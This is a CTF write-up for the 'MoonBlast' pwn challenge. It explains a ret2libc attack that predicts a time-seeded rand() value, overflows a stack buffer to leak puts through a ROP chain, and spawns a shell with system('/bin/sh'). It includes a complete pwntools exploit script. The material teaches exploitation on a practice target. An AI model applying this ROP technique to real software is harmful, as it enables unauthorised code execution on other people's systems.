# ret2libc Write up for [HKUST firebird - MoonBlast](https://github.com/BraveCattle/ctf/tree/main/firebird/moonblast) # Analysis ![moon13](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124143943_moon13.png) NX is enabled, thus exploit by executing shell on stack is not feasible. But return into libc is still exploitable. ## vulnerability There is a buffer overflow vulnerability in the function ```command()``` ![图片.png](https://s2.loli.net/2024/01/23/etK5Uhyv8JE9dM2.png) To exploit the buffer overflow vulnerability, we can utilize ROP to obtain shell. ## problem overview ```main()``` function ![图片.png](https://s2.loli.net/2024/01/23/vneYBQNjSkEuxpG.png) The problem can be divided into 2 parts: 1. pass the ```rand()``` check with ```srand(time(0))``` 2. exploit ```command()``` with ROP # Solution ## part 1 ![图片.png](https://s2.loli.net/2024/01/23/WBiaQ1SCOgzkZTp.png) The first part of the problem is a ```rand()``` check. The easiest way to pass the check locally is to use scripts to generate the random number and pass it to the binary. rand.c: ```c #include <time.h> #include <stdio.h> int main(){ srand(time(0)); printf("%d\n", rand()); return 0; } ``` Compile rand.c to executable and the below script passes the ckeck locally (since same libc used): ```python os.system('./rand > rand.txt') rand_int = 0 with open("rand.txt") as f: for num in f: rand_int = eval(num.strip()) r = process("./MoonBlast") # r = remote("ash-chal.firebird.sh", 36031) elf = ELF("./MoonBlast") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # local libc recv = r.recvline() recv = r.recvuntil(b'Please enter the passcode: ') r.sendline(bytes(str(rand_int), encoding='utf8')) ``` ## part 2 To obtain shell and leak the flag, we need to: 1. leak the address of libc_base in order to find the corresponding libc version, and find the offset of libc functions 2. get the libc version by leaked function addresses, e.g., ```puts@plt``` 3. calculate the address of shell and '/bin/sh', construct payload containing shell address and address of '/bin/sh' ### Leak the address of libc_base We can construct ROP to leak the address of the libc functions that have been called, e.g., ```getchar()``` or ```puts()```. Here we construct the first ROP that leaks the libc. After libc functions are called, the address of the function will be written in its ```got```, therefore we can put ```got``` as function argument (stored in register ```rdi``` in 64-bit ELF), and then call ```puts``` to print out the address. First genereate a padding string to check the offset of the ```rbp``` ```cyclic 200``` ![图片.png](https://s2.loli.net/2024/01/23/AjS4rQyYwDMqLd5.png) Put the padding string to input buffer to get the buffer offset. ![moon1.png](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124042917_1.png) The current stack is overflowed, its status is shown below: ![moon2.png](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124133136_moon2.png) The offset of the return address of last frame can be calculated by ```cyclic -l eaab```, which returns the number of characters before the queried string. ![moon3.png](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124075156_moon3.png) Thus the offset of return address of last frame would be $116+4=120$. Then we can construct the payload as follows: ```python b'a'*120+flat(pop_rdi_addr_ret, elf.got['puts'], elf.plt['puts'], elf.sym['command']) ``` The ```pop_rdi_addr_ret``` is the address of instruction ```pop rdi; ret``` in the ELF. This could be obtained by ```ROPgadget --binary MoonBlast --only "pop|ret" | grep "rdi"```. ```elf.plt['puts']``` and ```elf.sym['command']``` stores ```puts@plt``` and address of ```command()``` respectively. These could also be found in the disassembled code. (```objdump -S MoonBlast```) ![moon6](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124102548_moon6.png) ![moon4](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124095913_moon4.png) After sending the payload to the ELF, the stack status would be: ![moon5](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124141702_moon5.png) ``` 00000000004008c4 <command>: 4008c4: 55 push %rbp 4008c5: 48 89 e5 mov %rsp,%rbp 4008c8: 48 83 ec 70 sub $0x70,%rsp 4008cc: 48 8d 3d 65 01 00 00 lea 0x165(%rip),%rdi # 400a38 <_IO_stdin_used+0x8> 4008d3: e8 e8 fd ff ff call 4006c0 <puts@plt> 4008d8: 48 8d 3d 7d 01 00 00 lea 0x17d(%rip),%rdi # 400a5c <_IO_stdin_used+0x2c> 4008df: b8 00 00 00 00 mov $0x0,%eax 4008e4: e8 e7 fd ff ff call 4006d0 <printf@plt> 4008e9: 48 8d 45 90 lea -0x70(%rbp),%rax 4008ed: ba 00 01 00 00 mov $0x100,%edx 4008f2: 48 89 c6 mov %rax,%rsi 4008f5: bf 00 00 00 00 mov $0x0,%edi 4008fa: e8 e1 fd ff ff call 4006e0 <read@plt> 4008ff: 48 8d 3d 72 01 00 00 lea 0x172(%rip),%rdi # 400a78 <_IO_stdin_used+0x48> 400906: e8 b5 fd ff ff call 4006c0 <puts@plt> 40090b: 90 nop 40090c: c9 leave 40090d: c3 ret ``` When function ```command()``` ends, ```leave``` and ```ret``` would be executed. This is the epilogue of a function call, which is equivalent to ``` mov rsp, rbp pop rbp pop rip ``` The status of executing the ROP payload would be: ![moon11](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124141344_moon11.gif) Then we successfully printed out the address of one libc function, and hereby we can calculate the ```libc_base``` address. ```python r.recvuntil("Command received!\n") recv = r.recvline() print(f"recevied: [{recv}]") libc_base = u64(recv[:-1].ljust(8, b'\x00')) - libc.symbols['puts'] print("libc_base: ", hex(libc_base)) ``` ### get the libc version [libc database search](https://libc.blukat.me/) By performing the forementioned method on the remote server, the address of libc functions are leaked. Here only the last 3 bytes are useful, as the offset in the memory pages does not change. ![moon14](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124173037_moon14.png) One can either copy the needed offset (```str_bin_sh``` and ```system```) to use, or download the libc file and use pwntools to get the offset by ```libc = ELF("libc6.so")```. Since there might be multiple versions that match the function addresses, we need to try each of them to find the correct one. ### calculate the address of shell and '/bin/sh' Pwntools has provided built-in functions for searching the offset of libc functions/symbols. ```python sys_addr = libc_base+libc.symbols['system'] sh_addr = libc_base+next(libc.search(b'/bin/sh')) ``` Similarly, we need to store the address of ```/bin/sh``` to ```rdi```, and put the address of ```system``` to ```rip``` to make the ELF execute ```system('/bin/sh')```. One valid payload could be: ```python payload = b'a'*120+flat(pop_rdi_addr_ret, sh_addr, ret_addr, sys_addr) ``` The stack process is similar to the illustration above. Send the payload and obtain the shell: ![moon12](https://images.cnblogs.com/cnblogs_com/BCOI/1261368/o_240124142831_moon12.png) ## source code ```python from pwn import * import os context.log_level='debug' # context.terminal=['tmux','splitw','-h'] context.arch='amd64' os.system('./rand > rand.txt') rand_int = 0 with open("rand.txt") as f: for num in f: rand_int = eval(num.strip()) r = process("./MoonBlast") # to test locally # r = remote("ash-chal.firebird.sh", 36031) # to crack remotely elf = ELF("./MoonBlast") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # local libc # libc = ELF("libc.so.6") # remote libc (libc6_2.27-3ubuntu1.5_amd64.so) recv = r.recvline() recv = r.recvuntil(b'Please enter the passcode: ') r.sendline(bytes(str(rand_int), encoding='utf8')) pop_rdi_addr_ret = 0x400a13 # ROPgadget --binary MoonBlast --only "pop|ret" | grep "rdi" # 0x0000000000400a13 : pop rdi ; ret payload = b'a'*120 payload += flat(pop_rdi_addr_ret, elf.got['puts'], elf.plt['puts'], elf.sym['command']) recv = r.recvuntil(b'Please enter your command: ') r.sendline(payload) r.recvuntil("Command received!\n") recv = r.recvline() print(f"recevied: [{recv}]") libc_base = u64(recv[:-1].ljust(8, b'\x00')) - libc.symbols['puts'] print("libc_base: ", hex(libc_base)) sys_addr = libc_base+libc.symbols['system'] sh_addr = libc_base+next(libc.search(b'/bin/sh')) ret_addr = 0x4006ae # ROPgadget --binary MoonBlast --only "ret" # 0x00000000004006ae : ret recv = r.recvuntil(b'Please enter your command: ') payload = b'a'*120+flat(pop_rdi_addr_ret, sh_addr, ret_addr, sys_addr) r.sendline(payload) r.interactive() ``` # Conclusion A template ROP pwn problem. ~~However due to docker VM source, the solution provided by author not always pass the ```rand()``` check~~